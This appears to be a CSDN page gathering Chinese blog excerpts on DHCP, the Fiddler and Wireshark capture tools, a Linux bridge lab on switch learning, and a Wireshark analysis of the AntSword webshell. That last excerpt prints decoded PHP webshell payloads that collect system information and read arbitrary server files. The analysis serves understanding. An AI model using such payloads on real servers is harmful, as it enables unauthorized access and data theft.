精华内容
下载资源
问答
  • 最近在做iot wifi开发的过程中遇到了模组连接上了路由器却迟迟拿不到ip的问题,所以决定借此机会深入了解下dhcp的工作原理。 PS:wireshark是无法抓取模组连接路由器的dhcp的过程的,有需求的同学可以尝试使用...

    最近在做iot wifi开发的过程中遇到了模组连接上了路由器却迟迟拿不到ip的问题,所以决定借此机会深入了解下dhcp的工作原理。
    PS:wireshark是无法抓取模组连接路由器的dhcp的过程的,有需求的同学可以尝试使用omipeek进行深入的分析。

    一、什么是DHCP

    动态主机设置协议(Dynamic Host Configuration Protocol),简称dhcp。dhcp基于UDP协议,在OSI七层模型中位于应用层,是一种应用层协议。DHCP协议的主要作用是给局域网中的终端设备提供可以访问网络的ip地址,以及在终端设备释放ip时完成对IP地址的回收。

    DHCP的前身是BOOTP协议(Bootstrap Protocol),,BOOTP被创建出来为连接到网络中的设备自动分配地址,后来被DHCP取代。

    二、DHCP工作原理

    dhcp协议中有两种角色,dhcp客户端和dhcp服务器。dhcp client使用udp 68端口,dhcp服务器使用udp 67端口。

    1. dhcp客户端设备如果需要接入网络,需要先发送dhcp discovery数据包,该数据包的类型是udp广播,其中包含dhcp client设备的mac地址等信息;
    2. dhcp server接收到discovery请求,会从自己的ip池中分配一个ip地址给客户端,之后dhcp服务器会向客户端发送dhcp offer报文,该报文中包含服务器分配的ip地址、租约等信息;
    3. 此时dhcp客户端还不能使用服务器发送过来的ip地址,而是需要将dhcp服务器返回的ip地址、租约等信息封装成dhcp request数据包,正式向dhcp server发送dhcp request请求;
    4. dhcp服务器接收到request请求后,会返回给dhcp客户端ack响应,响应数据包中的数据和dhcp offer中的数据基本相同,包含分配给客户端的ip、租约时间、路由器的ip、子网掩码等信息。
    5. dhcp客户端可以主动释放和获取服务器的ip地址,在pc段可以通过ipconfig /release释放ip,通过ipconfig /renew重新获取ip。
      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DcT6a4Um-1603937012407)(48F7AA8A10074E1A859E8A11553B09E5)]

    wireshark数据包
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7Phu53fQ-1603937012411)(90528094DA034E1C8DC81202C37E8855)]

    三、wireshark分析dhcp的各个过程

    关于dhcp的报文格式请参考:http://c.biancheng.net/view/6451.html

    3.1、dhcp discovery

    hdcp discovery由客户端发起,源地址是0.0.0.0,目的地址是全网广播地址255.255.255.255。discovery数据包中包含客户端的mac地址、名称、需要请求的信息等参数,网路中的所有dhcp服务器都可以收到客户端的discovery数据包。
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ysRLRr0d-1603937012412)(36C5A126235F46089D705CB257406D9F)]

    3.2、dhcp offer

    路由器在接收到客户端的dhcp discovery数据包后,如果自己的ip地址池中还有空余的ip地址可供分配,会回复客户端一个dhcp offer数据包。这个数据包中的客户端ip地址表示服务器分配给客户端的ip,此时客户端还未拥有该ip地址。此外offer数据包中还包含路由器的租约时间、网关、子网掩码等信息。
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HTy4NDFY-1603937012414)(5757D89597534B3B8D1CE7CBD4F7A482)]

    3.3、dhcp request

    客户端在接收到dhcp offer数据包之后,会将offer包中的相关信息封装成request数据包正式向dhcp服务器发起请求。
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vKwnzHQo-1603937012416)(6ABD5374C7804B31A4BD18E3242A73E8)]

    3.4、dhcp ack

    服务器在接收到dhcp request数据包之后,会回复一帧ack消息,表示服务器允许客户端使用当前请求的ip地址,并指明租约的时间。
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2lMnBLUu-1603937012420)(67DD9E1FE7D24BBFAB99713D1B1712BB)]

    3.5、dhcp release

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5jwXuJUg-1603937012421)(A111E600F5A240689BD8E98565295247)]

    四、dhcp的租约

    当DHCP客户端获取到一个IP地址后,并不代表可以永久使用这个地址,而是有一个使用期限,在DHCP中我们称之为租约期限。当客户端获得ip地址的时间达到租约时间的1/2时,客户端需要向服务器发送dhcp request请求重新获取ip地址的使用权,如果此时服务器没有回复ack,那么客户端会在7/8租约时间的时候再次发送dhcp request,如果依然没有收到ack,那么ip地址会在租约到期时自动释放。

    需要注意的是,dhcp的租约时间会在续租成功时刷新。例如dhcp服务器的租约时间是8天(1日),如果在第四天(4日)结束的时候续租成功,那么租约的计时起点会从4日开始再往后推8天,也就是说下次续租的时间会在4日后的第四天结束(8日),而不是7日。

    展开全文
  • Fiddler和Wireshark都是进行抓包的工具:所谓抓包就是将网络传输发送与接收的数据包进行截获、重发、编辑、转存等操作,也用来检查网络安全。抓包也经常被用来进行数据截取等。黑客常常会用抓包软件获取你非加密的...

    文章来源:https://zhuanlan.zhihu.com/p/44912855

    Fiddler和Wireshark都是进行抓包的工具:所谓抓包就是将网络传输发送与接收的数据包进行截获、重发、编辑、转存等操作,也用来检查网络安全。抓包也经常被用来进行数据截取等。黑客常常会用抓包软件获取你非加密的上网数据,然后通过分析,结合社会工程学进行攻击。所以,学会抓包,对于学好网络安全技术十分重要。在我们做接口测试的时候,经常需要验证发送的消息是否正确,或者在出现问题的时候,查看手机客户端发送给server端的包内容是否正确,就需要用到抓包工具。而工程师和程序常用的抓包工具有哪些呢?今天我们就来简单聊一聊最常用的2种。

    Fiddler是在windows上运行的程序,专门用来捕获HTTP,HTTPS的。

    wireshark能获取HTTP,也能获取HTTPS,但是不能解密HTTPS,所以wireshark看不懂HTTPS中的内容。

    总结,如果是处理HTTP,HTTPS 还是用Fiddler, 其他协议比如TCP,UDP 就用wireshark。

    一、Fiddler

    当启动fiddler,程序将会把自己作为一个代理,所以的http请求在达到目标服务器之前都会经过fiddler,同样的,所有的http响应都会在返回客户端之前流经fiddler。

    Fiddler可以抓取支持http代理的任意程序的数据包,如果要抓取https会话,要先安装证书。

    Fiddler的工作原理

    Fiddler 是以代理web服务器的形式工作的,它使用代理地址:127.0.0.1, 端口:8888. 当Fiddler会自动设置代理, 退出的时候它会自动注销代理,这样就不会影响别的程序。不过如果Fiddler非正常退出,这时候因为Fiddler没有自动注销,会造成网页无法访问。解决的办法是重新启动下Fiddler.

     

    Fiddler 如何捕获Firefox的会话

    能支持HTTP代理的任意程序的数据包都能被Fiddler嗅探到,Fiddler的运行机制其实就是本机上监听8888端口的HTTP代理。Fiddler2启动的时候默认IE的代理设为了127.0.0.1:8888,而其他浏览器是需要手动设置的,所以将Firefox的代理改为127.0.0.1:8888就可以监听数据了。

    Firefox 上通过如下步骤设置代理

    点击: Tools -> Options, 在Options 对话框上点击Advanced tab - > network tab -> setting.

    Firefox 中安装Fiddler插件

    修改Firefox 中的代理比较麻烦, 不用fiddler的时候还要去掉代理。推荐你在firefox中使用fiddler hook 插件, 这样你非常方便的使用Fiddler获取firefox中的request 和response,当你安装fiddler后,就已经装好了Fiddler hook插件,你需要到firefox中去启用这个插件打开firefox tools->Add ons -> Extensions 启动 FiddlerHook

    Fiddler如何捕获HTTPS会话

    默认下,Fiddler不会捕获HTTPS会话,需要你设置下, 打开Fiddler Tool->Fiddler Options->HTTPS tab

    选中checkbox, 弹出如下的对话框,点击"YES"

    点击"Yes" 后,就设置好了

    Fiddler的基本界面

    看看Fiddler的基本界面

     

    Inspectors tab下有很多查看Request或者Response的消息。 其中Raw Tab可以查看完整的消息,Headers tab 只查看消息中的header. 如下图

    Fiddler的HTTP统计视图

    通过陈列出所有的HTTP通信量,Fiddler可以很容易的向您展示哪些文件生成了您当前请求的页面。使用Statistics页签,用户可以通过选择多个会话来得来这几个会话的总的信息统计,比如多个请求和传输的字节数。

    选择第一个请求和最后一个请求,可获得整个页面加载所消耗的总体时间。从条形图表中还可以分别出哪些请求耗时最多,从而对页面的访问进行访问速度优化

    QuickExec命令行的使用

    Fiddler的左下角有一个命令行工具叫做QuickExec,允许你直接输入命令。

    常见得命令有:

    help 打开官方的使用页面介绍,所有的命令都会列出来

    cls 清屏 (Ctrl+x 也可以清屏)

    select 选择会话的命令

    .png 用来选择png后缀的图片

    bpu 截获request

    Fiddler中设置断点修改Request

    Fiddler最强大的功能莫过于设置断点了,设置好断点后,你可以修改httpRequest 的任何信息包括host, cookie或者表单中的数据。设置断点有两种方法

    第一种:打开Fiddler 点击Rules-> Automatic Breakpoint ->Before Requests(这种方法会中断所有的会话)

    如何消除命令呢? 点击Rules-> Automatic Breakpoint ->Disabled

    第二种: 在命令行中输入命令: bpu http://www.baidu.com (这种方法只会中断http://www.baidu.com)

    如何消除命令呢? 在命令行中输入命令 bpu

    二、Wireshark

    Wireshark是另外一种抓包工具,这种工具比fiddler更强大,消息量更多。大家可能会问:有了fiddler,为什么还要用wireshark呢?这里说下,在测试中,发现用fiddler抓包,有些包是没有抓到的,比如在验证反作弊信息的时候,反作弊pingback信息的消息用fiddler就没抓到,用wireshark就抓到了。还有另外一种情况,就是在验证cna的时候,如果先用fiddler抓包,如果没有种下cna的时候,以后就永远没有cna了,情况很诡异。解决办法就是把包卸载了重新安装,第一次用wireshark抓包。

    Wireshark优势:

    1、强大的协议解析能力,一到七层全解码,一览无遗,对于协议细节的研究特别有帮助。

    2、对于https加密流量,只要将浏览器的session key 自动导入wireshark,Wireshark可以自动解密https流量。

    Wireshark不足之处:

    尽管可以自定义过滤列表,但为了抓取一个特定TCP Flow /Session 流量需要写一个长长的过滤列表,这对于初学者很不友好。

    操作实例:

    wireshark是捕获机器上的某一块网卡的网络包,当你的机器上有多块网卡的时候,你需要选择一个网卡。

    点击Caputre->Interfaces.. 出现下面对话框,选择正确的网卡。然后点击"Start"按钮, 开始抓包:

    一、WireShark 界面

    1、Display Filter(显示过滤器),用于过滤;

    2、Packet List Pane(封包列表),显示捕获到的封包,有源地址和目标地址,端口号;

    3、Packet Details Pane(封包详细信息), 显示封包中的字段;

    4、Dissector Pane(16进制数据);

    5、Miscellanous(地址栏,杂项)。

    二、Wireshark 显示过滤

    使用过滤是非常重要的,初学者使用wireshark时,将会得到大量的冗余信息,在几千甚至几万条记录中,以至于很难找到自己需要的部分。搞得晕头转向。过滤器会帮助我们在大量的数据中迅速找到我们需要的信息。

    过滤器有两种:

    1、一种是显示过滤器,就是主界面上那个,用来在捕获的记录中找到所需要的记录

    2、一种是捕获过滤器,用来过滤捕获的封包,以免捕获太多的记录。 在Capture -> Capture Filters 中设置。

    三、保存过滤

    在Filter栏上,填好Filter的表达式后,点击Save按钮, 取个名字。比如"Filter 102",Filter栏上就多了个"Filter 102" 的按钮。

    四、过滤表达式的规则

    表达式规则

    1.协议过滤 比如TCP,只显示TCP协议。

    2.IP 过滤

    比如 ip.src ==192.168.1.102 显示源地址为192.168.1.102,ip.dst==192.168.1.102,目标地址为192.168.1.102。

    3.端口过滤

    tcp.port ==80, 端口为80的

    tcp.srcport == 80, 只显示TCP协议的愿端口为80的。

    4.Http模式过滤

    http.request.method=="GET", 只显示HTTP GET方法的。

    5.逻辑运算符为 AND/ OR

    五、封包列表(Packet List Pane)

    封包列表的面板中显示,编号,时间戳,源地址,目标地址,协议,长度,以及封包信息。 你可以看到不同的协议用了不同的颜色显示。 你也可以修改这些显示颜色的规则, View ->Coloring Rules.

    六、封包详细信息 (Packet Details Pane)

    这个面板是我们最重要的,用来查看协议中的每一个字段。各行信息分别为

    ·Frame: 物理层的数据帧概况

    ·Ethernet II: 数据链路层以太网帧头部信息

    ·Internet Protocol Version 4: 互联网层IP包头部信息

    ·Transmission Control Protocol: 传输层T的数据段头部信息,此处是TCP

    ·Hypertext Transfer Protocol: 应用层的信息,此处是HTTP协议

    七、Wireshark与对应的OSI七层模型

    八、TCP包的具体内容

    从下图可以看到wireshark捕获到的TCP包中的每个字段。

    总结:

    总的来说,两款抓包软件各有优缺点,选择的关键在于我们的需求是什么,当然,对于软件测试从业者而言,两款软件都是十分有必要学习的~

    展开全文
  • 交换机工作原理 【实验目的】 1、熟悉Linux虚拟网络环境; 2、熟悉Linux中network namespace的基本操作; 3、熟悉Linux中虚拟以太网设备Tap和veth pair的基本操作; 4、熟悉Linux中Bridge设备的基本操作; 5、...

    实验名称

    交换机工作原理

    实验目的

    1、熟悉Linux虚拟网络环境;

    2、熟悉Linux中network namespace的基本操作;

    3、熟悉Linux中虚拟以太网设备Tap和veth pair的基本操作;

    4、熟悉Linux中Bridge设备的基本操作;

    5、熟悉Linux中网络分析软件Wireshark的基本操作;

    6、观察交换机(Bridge)的工作过程,分析并掌握交换机的工作原理;

    7、观察交换机中交换表的变化,分析并掌握交换机的自学习功能和原理;

    8、观察Wireshark截获的以太网数据帧,分析并理解以太网的帧格式。

    实验要求

    1、根据实验需要,搭建实验环境;建立或修改虚拟实验网络;

    2、按照实验步骤,认真完成实验;采取截图、拍照等形式记录实验结果;

    3、依据课本和课堂讲解,详细分析实验结果、验证理论知识;

    4、认真完成实验报告,按时提交实验指导老师。

    实验环境

    1、操作系统:Linux操作系统,要求内核支持Tun模块、Vlan模块等,本实验在CentOS7操作系统中测试通过;

    2、操作权限:部分操作需具有root权限;

    3、应用软件:需安装命令行工具:tunctl、vconfig等;需安装编辑工具gedit或其它文本编辑工具;需安装网络分析软件Wireshark及其依赖软件;其它常用必备的应用软件;

    4、实验网络拓扑:利用Linux命令或编辑执行脚本,构建虚拟实验网络拓扑如图所示:


    5、搭建网络拓扑结构的脚本如下:

    #!/bin/sh
    
    #创建veth pair
    ip link add tap1 type veth peer name tap1_peer
    ip link add tap2 type veth peer name tap2_peer
    ip link add tap3 type veth peer name tap3_peer
    ip link add tap4 type veth peer name tap4_peer
    #创建namespace
    ip netns add ns1
    ip netns add ns2
    ip netns add ns3
    ip netns add ns4
    #把tap迁移到namespace
    ip link set tap1 netns ns1
    ip link set tap2 netns ns2
    ip link set tap3 netns ns3
    ip link set tap4 netns ns4
    #创建Bridge
    brctl addbr br1
    #把相应tap添加到Bridge中
    brctl addif br1 tap1_peer
    brctl addif br1 tap2_peer
    brctl addif br1 tap3_peer
    brctl addif br1 tap4_peer
    #配置相应tap的IP地址
    ip netns exec ns1 ip addr add local 192.168.50.1/24 dev tap1
    ip netns exec ns2 ip addr add local 192.168.50.2/24 dev tap2
    ip netns exec ns3 ip addr add local 192.168.50.3/24 dev tap3
    ip netns exec ns4 ip addr add local 192.168.50.4/24 dev tap4
    #将Bridge及所有tap状态设置为up
    ip link set br1 up
    ip link set tap1_peer up
    ip link set tap2_peer up
    ip link set tap3_peer up
    ip link set tap4_peer up
    ip netns exec ns1 ip link set tap1 up
    ip netns exec ns2 ip link set tap2 up
    ip netns exec ns3 ip link set tap3 up
    ip netns exec ns4 ip link set tap4 up

    实验结果及分析

    预备工作:

    1、tun/tap模块验证

    ①使用modinfo tun命令验证是否安装了tun/tap模块。安装后的提示信息如下:

     

     如果没有安装tun模块,需要先安装tun模块。

    ②加载tun模块:首先使用 lsmod | grep tun 命令验证是否已经加载tun模块,如果没有显示信息,说明tun未加载,需要使用modprobe tun命令加载模块。

    tun模块已经加载。

    2、tunctl命令工具的安装

    ①图形界面安装

    ②命令行安装

    首先,添加tunctl的yum源文件

    [willy@localhost ~]$ vim /etc/yum.repos.d/nux-misc.repo
    
    [nux-misc]
    name=Nux Misc
    baseurl=http://li.nux.ro/download/nux/misc/el7/x86_64/
    enabled=0
    gpgcheck=1
    gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro

    然后,用 yum repolist 加载yum源,使用yum --enablerepo=nux-misc install tunctl命令安装tunctl,需要使用root权限。使用su命令切换root权限。

    3、wireshark安装

    Wireshark是网络封包分析软件。

    图形界面安装:

    yum命令安装:

    搭建网络拓扑结构并验证:

    1、执行脚本文件,创建网络拓扑

    2、验证网桥br1、ns1、ns2、ns3、ns4的接口状态:

    (1)使用brctl show命令查看br1接口状态:

    (2)使用ifconfig -a命令查看ns1、ns2、ns3、ns4的接口状态,ifconfig -a命令需要在ns内执行,用ip netns exec [namespace名]完成。

    ① ns1接口状态:

    ② ns2接口状态:

    ③ ns3接口状态:

    ④ ns4接口状态:

    3、ARP缓存表的管理

    ①在ns1中执行arp -a命令查看ARP缓存表,由于ns1没有发过arp请求,所以缓存表为空。

    ②在ns1中ping ns2,在查看ARP缓存表,发现ns1缓存表多了一行ip地址与MAC地址的映射记录。

    同样,ns2也会记录ns1的ip地址和MAC地址的映射。

    ③在ns中执行arp -d ip地址删除对应的arp记录。

    4、在ns中启动wireshark抓包分析软件,监听ns中的网络接口。以ns1为例:

    ①执行ip netns exec ns1 wireshark &命令启动wireshark。

    ②在wireshark图形界面启动对tap网络接口的监听。

    5、使用brctl showmacs br1命令查看交换机(即网桥br1)的表目。

    上面的四个端口对应tap_peer所在端口。

    Wireshark抓包分析交换机工作原理

    1、在ns1中ping ns2的ip地址(192.168.50.2),如图:

    2、查看wireshark在各个ns中的抓包情况

    ① ns1抓包情况:

    ② ns2抓包情况:

    ③ ns3抓包情况:

    ④ ns4抓包情况:

    3、观察交换机表目变化情况

    ①ns1 ping ns2后尽快查看交换机表目的情况,如下:

    ②大约过5分钟后,再查看交换机表目,发现tap1和tap2的MAC地址消失了,表示交换机支持逆学习,也支持老化时间,一段时间后,交换机会自动清除最近未使用的MAC地址映射,为新的MAC地址映射腾出空间。

    4、ns1 ping ns2过程分析

    (1)首先ns1封装了MAC帧数据部分,tap1将数据部分加上MAC帧的首部封装成了ARP帧,从tap1端口发出,被wireshark软件抓取。

    (2)然后,数据帧通过tap1_peer端口进入交换机(网桥),交换机发现表目中没有记录tap1的MAC地址,就将tap1的MAC地址记录下来,端口为1。(记录源地址)

    (3)之后,交换机表目中也没有tap2的MAC地址,就需要向所有端口广播ARP请求。所以ns3、ns4的tap3和tap4也收到了广播帧,被wireshark抓取。但是tap3、tap4并不符合目的MAC地址,广播帧被丢弃。

    (4)而ns2的tap2收到广播帧后,被wireshark抓取,且发现目的MAC就是自己,即响应该请求。由于ns2也不知道tap1的MAC地址,也需要发送广播帧,被wireshark抓取。之后用过tap2_peer端口进入交换机,交换机随即记录tap2的MAC地址,端口为2。

    (5)交换机收到广播帧后,查找交换表目,发现tap1的MAC地址端口为1,就从端口1转发给tap1,不再进行广播,所以tap3、tap4并不会收到该响应帧,wireshark也抓取不到响应帧。

    (6)tap1收到回应的ARP请求后,给予tap2回应,双方确认后各自的ip地址和对应的MAC地址后开始通信。

    5、以ns1中的ARP协议的数据包为例,分析数据包封装的内容:

    ①前14字节:

    ②后28字节:

    ③根据MAC帧结构,数据部分后面应该还有4字节的帧校验序列(FCS),但是wireshark在抓取包后将这4字节的FCS去掉了,所以没有显示。

     

    展开全文
  • wireshark了解蚁剑的工作原理        早上看到师兄们聊能连jsp的蚁剑,我就顺便回忆了一下蚁剑的工作原理。突然发现,以前看过好几遍的分析文章,脑子都骗了我,告诉我它记住...

    从wireshark了解蚁剑的工作原理

           早上看到师兄们聊能连jsp的蚁剑,我就顺便回忆了一下蚁剑的工作原理。突然发现,以前看过好几遍的分析文章,脑子都骗了我,告诉我它记住了。

    还是要自己动手分析一下,不然脑子总是欺骗我。

    1. 我已经在本地搭建好了环境,并放入了一句话马。
    在这里插入图片描述
    2. 蚁剑连接并同时用wireshark抓取流量。
    在这里插入图片描述
    3.追踪tcp流:
    在这里插入图片描述
    4.往下翻一翻,发现了:
    在这里插入图片描述
    5.因为我们的一句话是$_POST[‘dawn’],所以这里是post了一个dawn参数,后面跟上了命令。url解码看一下:

    @ini_set("display_errors", "0");
    @set_time_limit(0);
    function asenc($out){
        return $out;
    };
    function asoutput(){
        $output=ob_get_contents();
        ob_end_clean();
        echo "595fa0323f";
        echo @asenc($output);
        echo"da825";
    }
    ob_start();
    try{
        $D=dirname($_SERVER["SCRIPT_FILENAME"]);
        if($D=="")
    		$D=dirname($_SERVER["PATH_TRANSLATED"]);
        $R="{$D}	";
        if(substr($D,0,1)!="/"){
        	foreach(range("C","Z")as $L)
        	    if(is_dir("{$L}:"))
    	        	$R.="{$L}:";
        }else{
            $R.="/";
        }
        $R.="	";
        $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
        $s=($u)?$u["name"]:@get_current_user();
        $R.=php_uname();
        $R.="	{$s}";
        echo $R;;
    } catch(Exception $e){
        echo "ERROR://".$e->getMessage();
    };
    asoutput();
    die();
    

    从上往下分析:(因为代码多,所以只能这么排版,不太方便对照着看)

    @ini_set(“display_errors”, “0”);是临时关闭PHP的错误显示功能
    在这里插入图片描述
    @set_time_limit(0);是设置执行时间,为零说明永久执行直到程序结束,是为了防止像dir、上传文件大马时超时。
    在这里插入图片描述
    asenc函数:简单的接收参数然后直接返回;
    在这里插入图片描述
    asoutput函数:
            先用ob_get_contents得到缓冲区的数据。然后用ob_end_clean清除缓冲区的内容,并将缓冲区关闭。然后把接收到的缓冲区数据输出。
    在这里插入图片描述
    ob_start()是在服务器打开一个缓冲区来保存所有的输出。
    在这里插入图片描述
    try里面:

         $_SERVER[“SCRIPT_FILENAME”]是获取当前执行脚本的绝对路径。
    dirname() 函数返回路径中的目录名称部分,也就是说$D是当前执行脚本所在的目录。
    在这里插入图片描述
    如果$D为空,那么就用$_SERVER[“PATH_TRANSLATED”]获取当前脚本所在文件系统(不是文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。
    在这里插入图片描述
    然后把获取到的$D加上TAB赋值给$R
    在这里插入图片描述
    然后下面的if:
           先判断$D的第一位是不是/,这里应该是在判断是linux系统还是windows系统。
    假如是windows,就从C到Z循环,is_dir是判断是否存在这个盘符目录。假如存在这个盘符就添加在$R的后面。
    在这里插入图片描述
    假如是linux的,就直接在后面加了个 “/” 。
    然后又在$R后面加了个TAB。
    在这里插入图片描述
    先去官网文档查一下接下来要用到的几个函数。
    function_exists:顾名思义,判断函数是否定义存在。
    posix_getegid:返回当前进程的有效组ID
    posix_getpwuid:按用户id返回有关用户的信息。
    在这里插入图片描述
    然后就是判断posix_getegid函数是否存在,如果存在posix_getegid函数存在就获取信息赋值给$u,否则$u为空。
    在这里插入图片描述
    然后下面判断$u是否为空,假如不为空就获取键值为name的值给$s,否则用get_current_user函数获取当前PHP脚本所有者的名称赋值给$s。
    在这里插入图片描述
    然后用 php_uname 函数获取 有关正在运行的操作系统PHP的信息,并将其添加在$R后面,然后把上面获取的$s也添加在$R后面。然后输出$R。
    在这里插入图片描述
    假如出错就返回错误信息。
    在这里插入图片描述
    然后调用上面写的asoutput()。最后再die了一下。
    在这里插入图片描述
    再看一下我们的数据包返回信息,大概就理解了上面这些代码到底是干嘛的。
    在这里插入图片描述

    接下来我随便打开了一个php文件,看一下发送的指令:

    @ini_set("display_errors", "0");
    @set_time_limit(0);
    function asenc($out){
        return $out;
    };
    function asoutput(){
        $output=ob_get_contents();
        ob_end_clean();
        echo "7545b34";
        echo @asenc($output);
        echo "644b58cc3bac";
    }
    ob_start();
    try{
        $F=base64_decode($_POST["x7e381bdf1773a"]);
        $P=@fopen($F,"r");
        echo(@fread($P,filesize($F)?filesize($F):4096));
        @fclose($P);;
    }catch(Exception $e){
        echo "ERROR://".$e->getMessage();
    };
    asoutput();
    die();
    &x7e381bdf1773a=RTovcGhwc3R1ZHkvcGhwc3R1ZHlfcHJvL1dXVy9zcWxpMS9MZXNzLTEvaW5kZXgucGhw
    

    大体上都差不多的,我们分析一下try里面:

    将从POST传过来的x7e381bdf1773a变量进行base64解码赋值给$F,注意这不是什么编码,这就只是个奇怪的变量名。
    在这里插入图片描述
    然后用只读的方式打开文件,然后读文件,假如文件大小为空就默认读4096字节,然后关闭文件流。
    在这里插入图片描述
    其他差不多,然后在最后,传了上面所说的奇怪变量名参数,我们去base64解码看一下:
    在这里插入图片描述
    在这里插入图片描述
    大概的分析就到此结束了,蚁剑还有很多更强大的功能,利用思路也差不多,如果有不对的地方还请大佬们指出,谢谢。

    蚁剑下载的话可以去看看这位大佬的文章:https://xz.aliyun.com/t/7491。
    经常改蚁剑的大佬,佩服。

    展开全文
  • 交换机是公司、家庭上网必不可少的设备,公司内部可能会用到思科、华为、H3C等接入层交换机,家庭内部一般会选择TP-...那么交换机具体是怎么个工作原理呢?下面我们通过wireshark抓包来分析一下。看上图。PC的e0/0端...
  • 通过设置网卡为混杂模式就能捕获局域网内所有发包内容,包括非...网卡的工作原理 网卡收到传输来的数据,网卡内的单片程序先接收数据头的目的MAC地址,根据计算机上的网卡驱动程序设置的接收模式判断该不该接收,...
  • 在网络技术学习过程中,初学者很可能对交换机、路由器的工作原理弄不清楚,老师常是让学生记住哪个划分冲突域,哪个可以划分广播域,本文通过wireshark实战抓包,从视觉直观上感受网络设备的工作原理,使大家对这些...
  • 早上看到朋友们聊能连jsp的蚁剑,我就顺便回忆了一下蚁剑的工作原理。突然发现,以前看过好几遍的分析文章,脑子都骗了我,告诉我它记住了。还是要自己动手分析一下,不然脑子总是欺骗我。1. 我已经在本地搭建好了...
  • Wireshark之数据包嗅探器工作原理

    千次阅读 2017-03-11 19:17:02
    到这步,网络上的数据包将以一种非常基础的解析方式进行显示,而将大部分的分析工作留给最终用户。  第三步: 分析  对捕获和转换后的数据进行真正的深入分析。数据包嗅探器以捕获的网络数据作为输入,识别...
  • TLS/SSL握手协议工作原理 总体流程如下,用*号标注的是可选流程: Client Server ClientHello --------> ServerHello Certificate* ServerKeyExchange* CertificateRequest* Certificate* ...
  • 以PING为例,利用Wireshark深入理解网络层、数据链路层的工作原理 -2020.10.30 Wireshark Wireshark(前称Ethereal)是一个网络封包分析软件。网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络...
  • 参考:...9.1 工作原理 每个解析器解码自己的协议部分, 然后把封装协议的解码传递给后续协议。 因此它可能总是从一个Frame解析器开始, Frame解析器解析捕获文件...
  • 1. 网卡 网卡(NIC)是局域网(LAN,全称是:Local Area NetWork)中连接计算机和传输介质的接口,它工作在物理层(L1)。它是处于主机箱内的一块网络接口板,因为它的存在,从而使得本机能够与外部局域网进行连接通信。...
  • Wireshark之抓包原理剖析

    千次阅读 2019-11-22 13:04:59
         网卡是局域网(LAN,全称是:Local Area NetWork)中连接计算机和传输介质的接口,它工作在物理层(L1)。它是处于主机箱内的一块网络接口板,因为它的存在,从而使得本机能够与外部局域网进行连接通信。任何...
  • wireshark

    千次阅读 2018-12-22 12:20:31
    工作原理 同类软件:sniffer、Omnipeek 正常情况下,网卡收到数据帧时,会查看目的mac和本网卡mac是否相同,不同则丢弃,相同则接收帧并提交给上一层处理。对广播帧,网卡接收但不作处理。 启动wireshark后,网卡被...
  • 一、协议  现代网络是由多种运行在不同平台上的异构系统组成。为了使它们之间能够互相...协议栈是一组协同工作的网络协议的逻辑组合。  理解网络协议的最佳途径之一是将它们想象成人类口头或书面语言的使用规则。网络
  •  一台集线器无非就是工作在OSI参考模型物理层上的转发设备。它从一个端口接受到数据包,然后将数据包传输(中继)到设备的其他每个端口上。例如,如果 一台计算机连接到一个4端口集线器的1号端口上,需要发送数据...
  • SSH原理以及wireshark抓包和相关配置

    千次阅读 2020-08-26 23:23:57
    SSH远程连接服务器 1.什么是远程连接服务器 ... SSH(Secure Shell Protocol, 安全的壳程序协议)是建立在应用层基础上的安全协议。...利用SSH协议可以有效防止远程管理过程中的信息...工作站类型,只对内网开放 1.2常见的远
  • 在网络分析领域,提起...本文首先介绍了Wireshark客户端的一些使用小技巧,最后以一次HTTP请求为例,使用WireShark分析并学习了TCP三次握手、数据交互、四次挥手的过程,对于想要了解TCP基本原理的同学也非常适合。...
  • wireshark的使用

    2019-10-11 18:38:25
    目录wireshark工作原理网络通信过程抓包分析捕获过滤器的语法规则显示过滤器 wireshark工作原理 Wireshark的核心功能是捕捉网络数据包,并显示出数据包中的详细信息。底层需要Winpcpa的支持。 正常情况下,当...
  • wireshark入门视频教程

    2019-01-22 14:16:59
    04_wireshark工作原理和功能模块.mp4 05_如何设置抓包过滤器.mp4 06_如何设置展示过滤器.mp4 07_抓包的其他设置项.mp4 08_如何具体分析单个数据包.mp4 09_a_分析时的快捷菜单_第一栏.mp4 09_b_分析时的快捷菜单_第...

空空如也

空空如也

1 2 3 4 5 ... 9
收藏数 178
精华内容 71
关键字:

wireshark工作原理